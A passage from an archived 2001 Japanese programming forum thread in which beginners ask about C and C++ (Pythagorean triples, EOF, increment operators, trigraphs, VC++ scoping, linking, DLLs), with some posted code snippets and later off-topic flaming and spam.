c = sqrt(c2);
if (c - (int)c == 0)
printf("%d %d %d\n", b, (int)c, a);
}
}

return 0;
}
みずらいので、投稿しなおし。。
#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int main(int argc, char *argv[])
{
  /* 最大の数 */
  int maxnum;
  int a, b;
  int a2, b2;
  double c, c2;

  if (argc != 2) {
    printf("usage: pythago num\n");
    return 1;
  }

  maxnum = atoi(argv[1]);

  for (a = maxnum; a > 0; --a) {
    for (b = a - 1; b > 0; --b) {
      a2 = a*a;
      b2 = b*b;
      c2 = a2 - b2;

      if (c2 > b2)
        break;

      c = sqrt(c2);
      if (c - (int)c == 0)
        printf("%d %d %d\n", b, (int)c, a);
    }
  }

  return 0;
}
>>647-648
アルゴリズム的なことはおいといて、
不動小数点演算回路があるとしても、
double をつかうとプログラムの効率が落ちるのでできるだけint を使うように。
int でだめならlong.
longでだめならlong2つに分けるなどして計算する方が早い。
不動?
651649:01/10/05 03:12
浮動 感じ返還間違えただけ!
>>647-648
> (6,8,10)は全ての数を2で割ることにより(3,4,5)になるので、このような公約数のある場合は除きます

お前のプログラム、除けてないやん。
>>652
スマソ..
#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int gcm(int a, int b);

int main(int argc, char *argv[])
{
int maxnum = 1000;
int a, b;
int a2, b2;
double c, c2;
int cnt = 0;

for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;

if (c2 > b2)
break;

c = sqrt(c2);

if (gcm(b, (int)c) != 1)
continue;

if (c - (int)c == 0) {
++cnt;
printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a);
}
}
}

return 0;
}

int gcm(int a, int b)
{
int c;

if (a < b)
return gcm(b, a);
c = a%b;
if (c == 0)
return b;
return gcm(b, c);
}
~
int main(int argc, char *argv[])
{
  int maxnum = 1000;
  int a, b;
  int a2, b2;
  double c, c2;
  int cnt = 0;

  for (a = maxnum; a > 0; --a) {
    for (b = a - 1; b > 0; --b) {
      a2 = a*a;
      b2 = b*b;
      c2 = a2 - b2;

      if (c2 > b2)
        break;

      c = sqrt(c2);

      if (c - (int)c == 0) {
        if (gcm(b, (int)c) != 1)
          continue;
        ++cnt;
        printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a);
      }
    }
  }

  return 0;
}
656デフォルトの名無しさん:01/10/05 03:48
オリジナルがコンパイラの最適化オプション最大にして、
うちのマシンでだいたい、10秒強。

655のほうが、コンパイラの最適化オプション最大にして、
うちのマシンでだいたい、0.2秒強。
657gcm = 最大公倍数?:01/10/05 04:26
#include<stdio.h>
int main(void)
{
int a, b;
int x, y, z;
int cnt = 0;

for (a = 2;;a++){
for (b = 1;b < a;b++){
x = a*a - b*b;
y = 2 * a * b;
z = a*a + b*b;
if (gcd(y,z) != 1)
continue;
cnt++;
printf("%5d %5d %5d %5d\n", cnt, x, y, z);
}
}
}

int gcd(int a, int b)
{
int c;

if (a < b)
return gcd(b, a);
c = a%b;
if (c == 0)
return b;
return gcd(b, c);
}
>>648
>>653-655
>>657
このスレはコンパイラではありません。
まずコンパイラにかけて実行できるか確かめてください。

学校の課題は自分の力でやりましょう。
659デフォルトの名無しさん:01/10/05 04:59
>>657
すばらしい。答えもあってるようなんだけど、その式で間違いないことを
言うには、
「x^2 + y^2 = z^2」を満たすような自然数x, yは、かならず
x = a^2 - b^2
y = 2a*b
(a, bはともに自然数)であらわせる」
っていうことが証明できないといけないような。
>>658
> このスレはコンパイラではありません。
> まずコンパイラにかけて実行できるか確かめてください。
コンパイル通らないのあるか?
つか君が全角インデント消さずにコンパイルにかけただけだろ?

> 学校の課題は自分の力でやりましょう。
>>647読んだ?
661658:01/10/05 05:02
>>657
どうでもいいけどそのプログラムは動かないよ。
662658:01/10/05 05:05
人に聞くのも才能かもしれんけど
人の脳みそを使うアホPGを養成するのは御免だからね。
663デフォルトの名無しさん:01/10/05 05:07
>>662
やけに絡むね。
664658:01/10/05 05:10
最大公倍数なんて言っている奴は中学校へ逝け。
てゆうか君はもしかして消防?
665658:01/10/05 05:15
PCが買えずコンパイラも買えない貧乏な
小学生か中学校低学年ならばレスしよう。
もし大学生、社会人だったら芯でくれ。
666657:01/10/05 05:17
>>659
「ピタゴラス数」を google で検索したら
それっぽいのが出てきたのでコードにしてみただけっていう…。

証明は多分ちゃんとされてるものっぽいので探せばでてくるんじゃないかな。

>>661
うちではちゃんと動いたけど…。
gcd()のプロトタイプ宣言が抜けてるとか?

>>664
> gcm = 最大公倍数?
ってのは最大公約数は gcm じゃなくって gcd だろって話です。
m じゃ公倍になるやんていう…。
667658:01/10/05 05:19
>>666
うそ言ってはいけません。このプログラムが動くはずがありません。
ちゃんとコピぺしましたか?
668666:01/10/05 05:21
>>667
ちゃんと動きましたが…。

具体的にどう動かないのですか?
コンパイル通る?
669658:01/10/05 05:22
>>666
中学校からやり直してください。
最大公倍数などありません。
もし社会人で部下だったら即首です。
670658:01/10/05 05:25

>>668
何度も言うように動くはずがありません。
コンパイル通る?などと聞く時点で嘘がばればれです。
671666(ちょと暇):01/10/05 05:28
>>669
いや、だから gcm だと
gcm = greatest common multiple = 最大公倍数
になっちゃうでしょって話。

正しくは
gcd = greatest common divisor = 最大公約数

>>670
というか、ネタなんですか?
672658:01/10/05 05:34
>>671
中学校からやり直してください。
最大公倍数があるか中学校の教科書を読み直してください。
もし社会人で部下だったらクビです。

何度も言うようにコンパイル通るはずがありません。
このスレへのコピぺで間違えていないか確認してください。
673デフォルトの名無しさん:01/10/05 05:36
>>671
いんや、GCM は、Greatest Common Measure の略で、
こっちの方が GCD より一般的だと思う。
(て言うか、俺、学校では GCM っていう言い方しか習わなかった。)
674658:01/10/05 05:39
673
習ったということは高校以上ですか?
それにしては頭悪すぎです。
あなたも中学校からやり直しです。
675671:01/10/05 05:41
>>673
うわ、初めて知った(恥
google で日本語のページ検索したら
Greatest Common Measure の方が多かったや…。
どうも勉強になりました。
アホ言ってスミマセンでした。
676デフォルトの名無しさん:01/10/05 05:42
>>658
なんか、楽しくなってきた。。(笑)
ちなみに>>658は、どっかから脳みそコピペしてこないと、
どうしようもありません、ってことで。
677671:01/10/05 05:43
>>658さん
(最大)公約公倍数は小学校で習う物で、中学校ではやらないと思いますよ。
678658:01/10/05 05:47
最小公倍数、最大公約数との間違いではないですか?
679658:01/10/05 05:48
>>677
ならば小学校からやり直してください。
680677:01/10/05 05:49
>>678
すまん。
公倍公約数って書こうとしたら
(最大)も書いておこうと思ってしまって最小を忘れてました。
681658:01/10/05 05:54
最大公倍数など無意味です。
最小公倍数との間違いではないですか?

まだ最大公倍数を主張するならば小学生からやり直してください。
682671:01/10/05 05:55
>>673
ちなみに最小公倍数は LCM (least common multiple) だよね?
他の呼び方があるとか?
683671:01/10/05 05:57
>>681
スミマセン。
僕が間違ってました。(>>677は。)
もう最大公倍数なんて言いません。
許して下さい。
684658:01/10/05 05:59
何度も言わせないでください。
小学生からやり直してください。
もしくは以下のサイトで勉強してください。
http://www.geisya.or.jp/~mwm48961/math/m3gcm1.htm
どうでもいいよ
そんなもん求めても腹の足しにならん
686683:01/10/05 06:03
>>684
了解しました。許してください。すみません。頑張って勉強します。

>>685
うん…。ネタだしね…。スレ汚れるだけだしね…。
687658:01/10/05 06:04
どうでもいいけど
>>657
は動かないはずです。まず自分でコンパイルが通るかテストしてください。
688658:01/10/05 06:11
私が間違えていました。コンパイル通ります。
逝きます。
689658:01/10/05 06:21
gccではコンパイル通りそうですね。
C++BuilderやVC++ではプロトタイプを
main以前に置くか、mainを最後にもってくる必要があると思います。
ジョブス、メール見たぜ。君のsprintfをこちらのライブラリに
組み込んだぞ。関数名は FormatMessage。こいつはすごいぜ。
sprintf と同じように使えるように Format, AFormat という
スタブも用意したぜ。AFormat は動的な sprintf。デバッグ版も
シカゴのサーバに置いといた。sprintf と多少書式が違うが
気にしないでくれ。
char *str = NULL;
AFormat(&str, "これは%1!d!個の%2です。", 3, "リンゴ");
LocalFree((HLOCAL)str);
691Ruby!:01/10/05 23:27
&&&&&&&&&%%%%%%%%%%%&&&&&%%%%555555555
_______________________________________________________________
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
Del厨断末鬼の叫び!!!
拙い言いがかりからRubyを必死に煽ろうとしたDel厨が逆襲を受けて死亡!
理論的にDelphiはRubyの足元にも及ばないことが証明された!!!
「Ruby撲滅スレ」
http://piza2.2ch.net/test/read.cgi/tech/1001125342/
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
692デフォルトの名無しさん:01/10/06 18:52
cygwinのgccのmallocで文字数+1のメモリを確保して文字列を表示させたとき
文字列の最後にかぎかっこみたいな変な記号が出るんですが・・。
文字列+2文字以上確保すると消えます。同じような現象起こる人いませんか?
cygwinでは\0が1バイトじゃないんでしょうか?
文字列の最後に\0を自分でいれる必要があるのでは
694デフォルトの名無しさん:01/10/06 21:14
質問があります。
EOFというのは文字通りファイルの終わりという意味なんでしょうが、
いまいち意味がわかりません。
例えば
int c;
while ((c = getchar()) != EOF)
 putchar(c);
というものがあった場合、コレはいつ終わるんでしょうか?
695これでわかる?:01/10/06 21:17
for(;;){
 c = getchar(); // 一文字取得
 if(c == EOF) break; // 取得に失敗==ファイルの終わりなら抜ける
 putchar(c); // 取得した文字を表示
}
CTRL+D(CTRL+Z)等が押されたときに
>>695
たぶん、キー入力にいつ終わりが来るのか、と言うことが知りたいと思われ。
>>696が正解かと
698694:01/10/06 21:32
>>695-697
なるほど、696を実行したところ終了しました。 って当然ですがw
ありがとうございました。
すまん!i++と++iの違いを教えてくれ!
700デフォルトの名無しさん:01/10/06 22:18
しまった。さげてしまった。あげ
>>699
i++はあとでインクリ
++iはさきにインクリ
702K&Rの受け売り:01/10/06 22:35
>>699
iが5なら
x = i++;
だとxは5だけど、
x = ++i;
だとxは6になる。
703デフォルトの名無しさん:01/10/06 22:48
>>701
>>702
ありがとー!!!
こんな違いがあったのかー!
704デフォルトの名無しさん:01/10/07 00:51
forの中で宣言した変数はforから出ても、開放されないんですか?
705デフォルトの名無しさん:01/10/07 00:54
開放って変数の有効期限のことか?
LispのインタープリタをCで書くって何からしたらいいの?
何か参考に出来る本あります?
2000行のプログラムなんて書けんよ…。
>>704
C使ってるならforの中で宣言するな。
708デフォルトの名無しさん:01/10/07 01:24
>>705そうです。
>>707一応VC使ってますが・・・。拡張子もcppになってます。

というのはですねぇ。例題で
#include <iostream>

int main()
{
int n = 8;
int* data = new int[n];
for (int i = 0; i < n; ++i) data[i] = n - i;
for (int i = 0; i < n; ++i) std::cout << data[i] << std::endl;
delete [] data;
return 0;
};
ってのがあるんですけど、VCではコンパイルできないようなんですよ。トホホ
この例題載ってる本の題名は?
>>706 原始的なLispなら数百行位だね?
SchemeとかXLispとかソース読んでみなよ。
どうみてもC++のコードだな。
712デフォルトの名無しさん:01/10/07 01:31
本じゃないです。もともとメルマガだったようです。
詳説C++プログラミング
http://sonop.tripod.co.jp/
http://sonop.tripod.co.jp/files/magazine/Cmagazine.htmの7月分の34号
>>708
VCが悪い。規格上はOKだが、VCではforのかっこの中で宣言した変数は
外で宣言したのと同じ意味になる。つーことで2回目のintは不要。
それと、最後のセミコロンはいらん。
かつてusing namespace使わずにビルドが通った時代があったのか?もしかして
>>708
そりゃC++だ
VC++6は仕様が古いのでfor文の全体を{}で括れば回避可能
VC++7からは大丈夫(オプションだけど)

C++ゆえsage
>>708
いまのC++でforの( )中で宣言した変数はforのスコープの外には出ない。
VC++はその仕様が決まる前のコンパイラなので、( )の中で宣言した変数は
forスコープの後も生きている。
>>714
std::
ってついてるじゃん、しっかり。
718デフォルトの名無しさん:01/10/07 01:37
>>713
VCの問題でしたか。ありがとうございます。
最後のセミコロンはこの例題だけついてました。
他の例題にはありませんでした。(念のため)
しまった。C++だったんだ。
スレ違いごめんなさい
>>713 >>715
VC++6もオプションで可能。
ただし、windows.hがインクルードできなくなる弊害があったはず
721デフォルトの名無しさん:01/10/07 02:01
>>708
それはわりと有名なVC++のバグ
回避法として,次のようなdefineをしておくと良いようです
#define for if(0);else
722デフォルトの名無しさん:01/10/07 02:02
逆参照ってなにが「逆」なんですか?
>>721
バグじゃないって。仕様が古いだけ。
ANSIの規格がころころ変わったせいでこういうことになってる
724721:01/10/07 02:05
あれれ? いつのまにそんなにレスが・・・
もう徹底的にアホ丸出しかもわからんね
725721:01/10/07 02:06
>>723
うげげげ,まじっすか
自分,究極のアホ丸出しやね・・・
726デフォルトの名無しさん:01/10/07 04:42
>>706
consセルとgcの部分。gcは実験目的とかでない限り必須。
あとは(ユニークな)シンボルを実装すれば見かけはLISPっぽくなる。
consセルというのは、carとcdrの対を持つ2分木の枝。
最初はリストのライブラリを作る様なノリでやれば、
破綻はしないと思う。(ここでリスト操作に慣れておく。)
その後、環境(シンボル:carと値:cdrの対の集合)と
read(入力→S式)とeval(S式→評価)と
lambda(コードと環境を持つクロージャ)、
いくつかの制御構造とオペレータ・・・
結構大変かも。1000行程度で終るとは思うけど。
727706:01/10/07 07:38
>>710
>>726
どうもありがとうございます。
やっぱり似非理系学生には自力じゃ無理ですかね。
難し過ぎ…。
728 :01/10/07 14:36
このスレで聴いて良いのか解らないですが
目に止まったので書き込ませてください。

超初心者なのですがCにチャレンジしようかと思っています。
しかし何から取り付いて良いのか全く解りません。(T_T)
一応産業機器にプログラマなのでニモニックやラダー、製品に特化された言語等には
慣れて居るんですけど こっちは畑違いすぎで全く要領を得られないのでアドバイス頂けないでしょうか?
VCとかで簡単なWIN用アプリとか作ってみたいです。
Cを使う用途は?
その仕事の延長で使うのなら特にVCは必要ないと思うが
単にWinのプログラム作るならVC必要ない、Delphiとかの方が楽
730デフォルトの名無しさん:01/10/08 09:53
Ms_cでグラフィックスの処理をしたいのですが
なにをインクルードしてよいかわかりません。
ご指導お願いします。
>>729
おれはCで核。きみはDelphiを遣え!
732デフォルトの名無しさん:01/10/08 11:49
>728
WindowsでCを勉強するなら
お金をかけない→MS-DOS+フリーのコンパイラを使う
お金をかける→統合開発環境を買う
というのが一般的ですかね。
窓が出るようなアプリを作るなら"API"とか"MFC"という言葉で検索してください。
733デフォルトの名無しさん:01/10/09 09:03
>>729
C==VCじゃないよ。
734チビ:01/10/09 09:07
>>728
周囲に教えてくれる人がいないなら、VCの入門書を探すのが近道ですね。
私はそうしました。
>728
 俺は組込み関係で アセンブラにCも使うけど
 Winでプリンタポートで信号出したり 232Cで
 テストしたりのコードは Delphiで書いているよ。

産業用 ATコンパチの組込みソフトなんかも Delphi1(win3.1で動く16bit版ね)で
効率良く書けるしね

 単にCの勉強兼ねてということになると
  VC++ と 組込みCより Delphiと組込みCの方がとっつきいいかも

あ、でも、組込みCのソースの事前デバックの為に持ってる必要はあるかもね
736デフォルトの名無しさん:01/10/09 14:01
>>727 Lispのインタプリタはスペックを求めない限り君の実力内にあると思うよ。
そういうこと思いつく奴はできると思う。
そりゃCommon LISP準拠の処理系作れとか言ったら俺も首くくるけど。
Lispより簡単なインタプリタっていったら後はForth位しかない。
# ForthはForthで奥が深いけどね...
CommonLispも苦しいけど、Schemeも苦しくない?
末尾再帰の認識とか、初めてインタプリタを作る人には
荷が重いし
738736:01/10/09 17:57
>>737 そうですね。
Schemeは相当にコンパクトな仕様に思えるのですが、やはり本物だけのことはある。
だから最初は俺Lispでいいと思うんですよ。
739デフォルトの名無しさん:01/10/10 00:46
↑スレ違いなので別のスレは移動して続きをお願いします。
740デフォルトの名無しさん:01/10/10 00:50
とにかくDelphi以外は糞なんだよ
741デフォルトの名無しさん:01/10/10 00:52
>>740
あなたはDelphi以外はあまり使わないようですね。
スレ違いです。逝け
Delphiの記述言語のスレですが何か気に障ることでも?
LSIのコンパイラ使ってる方いらっしゃいませんか?

秀丸のマクロで「コンパイル&実行」ってできないもんでしょうか?
いちいちファイルを移動させるのって結構面倒ですよね?
マクロってものがどんなものかよく分かってませんが・・・

どうか、ひとつ、よろしくお願いします。
かなりすれ違い
>>743
CでもJavaでもうちでは出来てるけど、スレ違いだから教えれん。
誘導↓

秀丸秀丸秀丸
http://mentai.2ch.net/test/read.cgi/prog/998579038/
746デフォルトの名無しさん:01/10/10 14:26
GCCでリンカの使い方が解りません。
GCCのリンカというよりリンカ、リンクそのものが解ってないです。
そこでお願いがあります。

hello.oというオブジェクト
writehello()
{
puts("Hello\n");
}
という関数が定義してある。


main.c
から使う実例(ソース、リンカの使い方)を見せてください。お願いします。
747偽善者:01/10/10 14:29
$ cat >main.c
void writehello(void);
main()
{ writehello(); }

$ gcc main.c hello.o

$ ./a.out
Hello

$
>>747
writehello() の返り値を int にしないあたりが偽善ですか?
749デフォルトの名無しさん:01/10/10 14:38
>>747
レスありがとうございます。
しかしhello.cというオブジェクトの作り方も解らないのです。
説明不足ですいません。
750デフォルトの名無しさん:01/10/10 14:39
>>746
どういうことでしょうか?非常に気になります。
よろしければご教授ください。
>>749
> しかしhello.cというオブジェクトの作り方も解らないのです。
$gcc -c hallo.c

gcc できればmakeとかも調べてみるとよい。
752偽善者:01/10/10 14:41
>>749
$ man gcc
$ gcc -c hello.c
$ ls

>>748
$ # ううん、ただの勘違いでした テヘ
レスありがとうございました。精進します。
>>753
誰だ貴様!名を名乗れ
755デフォルトの名無しさん:01/10/10 14:49
>>754
>誰だ貴様!名を名乗れ

どうもありがとうございます。
>>755
どういたしまして
757デフォルトの名無しさん:01/10/10 15:00
なんじゃこの流れは
不覚にもワラタ
758デフォルトの名無しさん:01/10/10 16:51
ELF と a.outの違いを50文字以内で俺様にわかり易く説明しろ
アドレスがあったりなかったり
14文字
>>758
スレ違い
(4文字)
>>760
教えろよ
(4文字)
>>762
98点やる
(5文字)
おまえら最高だよ。ワラタよ。

>>762
これは100点満点だろ。
765デフォルトの名無しさん:01/10/11 00:16
CでWINDOWS用のアプリケーション作りたいのですが、そのために必要なものは何がありますか?

人に聞いても「マイクロソフトのC++使え」
検索してもサンプルソースがhitするくらいで(参考にはなりますがいろんな手法を知りたい)
どうにも消化不良です。

なにか参考になる書籍でもいいので教えてもらえませんか。
ISBN:4-7561-3600-1
ISBN:4-7561-3601-X
767デフォルトの名無しさん:01/10/11 00:28
Cygwinを使うといいよ。
GUI部分は、TCL/TKで簡単に実装できるし、
なにより、DOSプロンプトより使いやすい
ターミナルエミュレータがあるから。
768デフォルトの名無しさん:01/10/11 00:28
それ探してもどこにもないのが悲しいなあ
ja localeの貧弱さが初心者向きじゃないと思われ。

でも手放せない。
770なむこ:01/10/11 00:47
えー、県外まで行って本探しましたよ。でも℃田舎の悲しい宿命、ブツがerr404なんです。
でも色々調べてみます

>>766>>767さんありがとうございました。
だれか「猫でも・・」教えてあげれば?
>>767
>なにより、DOSプロンプトより使いやすい
>ターミナルエミュレータがあるから。
それってどれですか?教えてください。
うちのはDOS窓でしか動きません・・・
>>772
ktermなりrxvtなりEtermなりをコンパイルすればいいじゃん。
774デフォルトの名無しさん:01/10/11 17:55
/*次のコードが通る理由を説明せよ*/
#include <stdio.h>
void main(){
775失敗した。スマソ:01/10/11 17:56
/*次のコードが通る理由を説明せよ*/
#include <stdio.h>
void main(){
int n[3];
n??(0??)=123;
printf ("n=%d\n",n[0]);
}
776つづき:01/10/11 17:57
}
777(T_T):01/10/11 17:57
ちぇ
778774,775:01/10/11 17:58
>>777
777取ったんだからいいぢゃん。おめでと。
779デフォルトの名無しさん:01/10/11 17:59
>>775
おぉ〜。オレ昔のIBM汎用機で本当にそうやって
コーディングしたんだよぉ。懐かしすぎ。
ANSI trigraph feature
781デフォルトの名無しさん:01/10/11 18:06
>>775
VC++は通りました。
BCBは通りません。
GCCも通りません。
(なんかオプションいるのかなぁ?)
gcc のばやいは -trigraphs をつければ通るんじゃないかな?
783デフォルトの名無しさん:01/10/11 18:12
>>782
おぉ、通ったよ。さんきゅ。
これってなんで?
 >779 によると、ひょっとして、昔のキーボードって[が
無かったの? {も無かったとか?
>>775
すごい。どういうことか理解できん・・・・

??( > [
??) > ]
だよねぇ?

#include <stdio.h>
void main(){
int n??(3??);
n??(0??)=123;
printf ("n=%d\n",n??(0??));
}

コレで通ったし・・・
>>783-784
いや、だから、トライグラフ…
>>773
Cygwin だと kterm, Eterm って X サーバ無しでも動くんですか?

google で検索かけて、rxvt が X なしで動いてかつ日本語化パッチもあることは分かった
けど、もはや日本語パッチが obsolete っぽい。
787デフォルトの名無しさん:01/10/12 09:51
>>785
いや、だから、なんでトライグラフっていうものが
 必要だったのか?ってこと。
 [っていうコードが昔は無かったとか?
http://cgi3.tky.3web.ne.jp/~yutakakn/misc/tips/clang/page1.html
google:"トライグラフ"の二番目だった。
>>787
不変文字セット(invariant character set)にないから
790デフォルトの名無しさん:01/10/12 10:37
??= #
??( [
??) ]
??/ \
??' ^
??< {
??> }
??! |
??- ~
791デフォルトの名無しさん:01/10/12 11:09
win環境でdllをC言語から使う方法を教えてください。
コンパイラはできればgccでお願いします。
792デフォルトの名無しさん:01/10/12 11:21
LoadLibraryExで DLL を読みこんで、
GetProcAddress で関数へのアドレスを得る。
必要無くなったら、FreeLibrary を呼べ。
コンパイルの仕方は gcc --help -v |more でもしとけ。
関数ポインタの型は typedef しておくと便利。
レスどうもでした。
794デフォルトの名無しさん:01/10/12 17:45
argv, argcをmainの引数ではなく
グローバルに参照できませんか?
795こうか?(w:01/10/12 17:50
int g_argc;
char* g_argv[];
int main(int argc, char* argv[])
{
g_argc = argc;
g_argv = argv;
:
グローバルなポインタ使え。

static int *pargc; char ***pargv;
int main(int argc, char **argv)
{
pargc = &argc; pargv = &argv;
}
797デフォルトの名無しさん:01/10/12 21:30
perl言語でhere,there構文がありましたよね?(HTMLタグがそのまま書けるやつ)
C言語には、そのような機能はないのでしょうか?
798デフォルトの名無しさん:01/10/12 21:48
今専門学校で情報処理学科に通ってるんですが
全く意味がわかりません。完全に道を踏み間違えてしまいました。
どうにか将来は音楽関係の仕事に携わりたいのですが
今更音楽学科に変えるお金もありません。
板違いだと思いますが、何かいい方法ないでしょうか??
>>798
今すぐ学校をやめて、音楽学科に入り直すだけの金を稼ぐ。
>>797
> perl言語でhere,there構文がありましたよね?(HTMLタグがそのまま書けるやつ)
なんだhere,thereって。here doc?

> C言語には、そのような機能はないのでしょうか?
なんだかよく分からんが、ともかくない。
>798
そう思うのなら決断は早く
その時期の1年2年くらいなら取り返せるし
802デフォルトの名無しさん:01/10/12 22:23
そうだね、若いなら早めに行動に移したほうがいいよ
適正が無い奴、プログラムが嫌いな奴は絶対に止めておいた方がえぇ
803798:01/10/12 22:34
やっぱそうですか・・・。
情報処理学科を出て就職するとなれば
大半の人がプログラムを組む職に就くんですか?
情報系の学校を出て全然違う職種に就いた方いますか?
804デフォルトの名無しさん:01/10/12 22:46
>>803
あのさあ、情報系の優秀な奴はプログラマーなんぞにはならんのだよ
あ、お前は糞専門だったか わりーわりー
805デフォルトの名無しさん:01/10/12 22:46
>>796
なぜポインタ?
806デフォルトの名無しさん:01/10/12 22:49
>>804
あのさあ、プログラマーの領域狭く考えすぎてない?
あ、お前は・・・・・・わりーわりー
807デフォルトの名無しさん:01/10/12 22:51
>>806
じゃあお前は何をやってるの?
糞アプリ作っとるだけのくせに偉そうなこと言うな
身分をわきまえろ
808デフォルトの名無しさん:01/10/12 22:53
まぁ情報処理系に進んだ時点でエリート路線から外れてるけどな
809デフォルトの名無しさん:01/10/12 23:00
そして796はatexitで登録した終了関数内で
グローバル変数を使おうとして逝った...と
810デフォルトの名無しさん:01/10/12 23:01
>>806
ネタでもいいからはようこたえろや
お前さんはどんなことをやってるのですかああああ????

これだから雑魚は困る
>>796
Cでは参照が使えないから…

ていうか>>795じゃまじぃど。
なぜまじぃのかは自分で考えれ。
812デフォルトの名無しさん:01/10/12 23:26
perl言語でヒアドキュメントってありましたよね?(HTMLタグがそのまま書けるやつ)
C言語には、そのような機能はないのでしょうか?
813デフォルトの名無しさん:01/10/12 23:29
806は人生の敗北者
だから2chでも言いっぱなし
根性ナシ
真向から議論して勝つ自信はないのかよ
俺をへこましてみろや
814Ruby初心者:01/10/12 23:31
Rubyのコミュニティって閉鎖的な雰囲気がありますけど(他の言語を排撃するとか)なんでですか?
その自信はどこからくるんですか?
教えてください。
815デフォルトの名無しさん:01/10/12 23:32
お前ら雑魚からすれば強気な意見書いてくる奴はみんな煽りな
ちょっときついこと言ってくる奴は煽りな
で、無視な
お前ら弱すぎ
816デフォルトの名無しさん:01/10/12 23:33
>>814
あのな、ここはCの部屋だろ
お前スレ違い
くやしかったらまともなレス返してみろ
それとも怖いから無視か?
817Ruby初心者:01/10/12 23:34
>>816
あのな、ここはプログラミングの板だろ
お前板違い
くやしかったらまともなレス返してみろ
それとも怖いから無視か?
鸚鵡返しカコワルイ
819デフォルトの名無しさん:01/10/12 23:36
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜こわいよ〜
820デフォルトの名無しさん:01/10/12 23:59
どっちにしても、
すぐ汚い言葉で煽り合うようなやつはプログラムも書けない厨房(ただ板に来て覗いてるだけ)
なのは間違いない。
>>820
そうだね。一匹紛れ込んでるね。
822デフォルトの名無しさん:01/10/13 00:03
正直俺は掲示板にプログラムべたべた張り付けるのはどうかと思う
なんか同人コミュニティみたいな感じがして気持悪い
「僕のプログラム見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前のプログラムはそんな安っぽいもんなのかと

はぁ、また寒い反論しか返ってこないんだろうなあ
823デフォルトの名無しさん:01/10/13 00:04
マジレスしてくる奴いないのかなあ
824デフォルトの名無しさん:01/10/13 00:09
一応言っておきますが
「ネタにもならないアホは放置」が基本となっていますのでお気をつけください
>なんか同人コミュニティみたいな感じがして気持悪い
いまいち感じがつかめない。
その貼り付けられたプログラムの質がどんなであれ、
皆が褒めそやすという構図になっているならまだしも。
>824
敏感に反応しちゃってるあなたはどうしましょう?
main()
{
 puts("\
こんな風に書きたいのか?
とりあえずgccじゃ通るけど、警告とか出す処理系もありそう。
");
 return 800;
}
828?f?t?H???g???????:01/10/13 00:17
正直俺は掲示板に日本語べたべた張り付けるのはどうかと思う
なんか同人コミュニティみたいな感じがして気持悪い
「僕の日本語見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前の日本語はそんな安っぽいもんなのかと

はぁ、また寒い反論しか返ってこないんだろうなあ
ある言語の便利な機能を
別の言語に無理やり持っていっても良いことはない。
Cでヒアドキュメントはできまっせん。
830デフォルトの名無しさん:01/10/13 00:19
>>825
お絵書き掲示板みたいな感じ
俺はあれ大嫌い
吐き気がする
831デフォルトの名無しさん:01/10/13 00:23
ってーかそれくらい流せよ
832デフォルトの名無しさん:01/10/13 00:25
ある言語の便利な機能を
rubyに無理やり持っていっても良いことはない。
rubyでは何もできまっせん。
>>830は自分が絵を描けないことに相当なコンプレックスがあるらしい、と。
>>830
いや...だから、この板では
>貼り付けられたプログラムの質がどんなであれ皆が褒めそやすという構図
にはなってないよね?
835デフォルトの名無しさん:01/10/13 00:30
>>834
だいたいそんな感じだろ
それとも情報交換のつもりか?
だったら本読もうや
ソース読もうや
あなたが真のプログラマーならね
>>835
彼はソース読めないから疎外感を感じていると思われ
837デフォルトの名無しさん:01/10/13 00:37
>>835
具体的にそういった雰囲気のレスを挙げてみ。
それとも単なる僻み?(大爆笑)
ここの板人なかなか煽り耐性がつかないね。
正直俺はオープンソースはどうかと思う
なんか同人コミュニティみたいな感じがして気持悪い
「僕のプログラム見て見てー」みたいな
プロがそんなことしてるかと思うと腹だたしいね
お前のプログラムはそんな安っぽいもんなのかと

はぁ、また寒い反論しか返ってこないんだろうなあ
840デフォルトの名無しさん:01/10/13 00:46
↑オープンソースはいいと思うけどね
ぢゃ、寝るわ
お前ら一晩かけておもしろい文句考えといてな
とりあえず朝はチェックするからそのまま議論続けてな
泣かない程度に頑張ってみてくれや
       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
.∧_∧  | >>840 Ruby厨な人さぁ こんなレスばっかりしてるから |
( ´∀`)< 厨房って言われちゃうんだよ                |
( ∧∧ つ >―――――――――――――――――――――‐<
 ( ゚Д゚) < おまえのことを必要としてる奴なんて Ruby使いにすら |
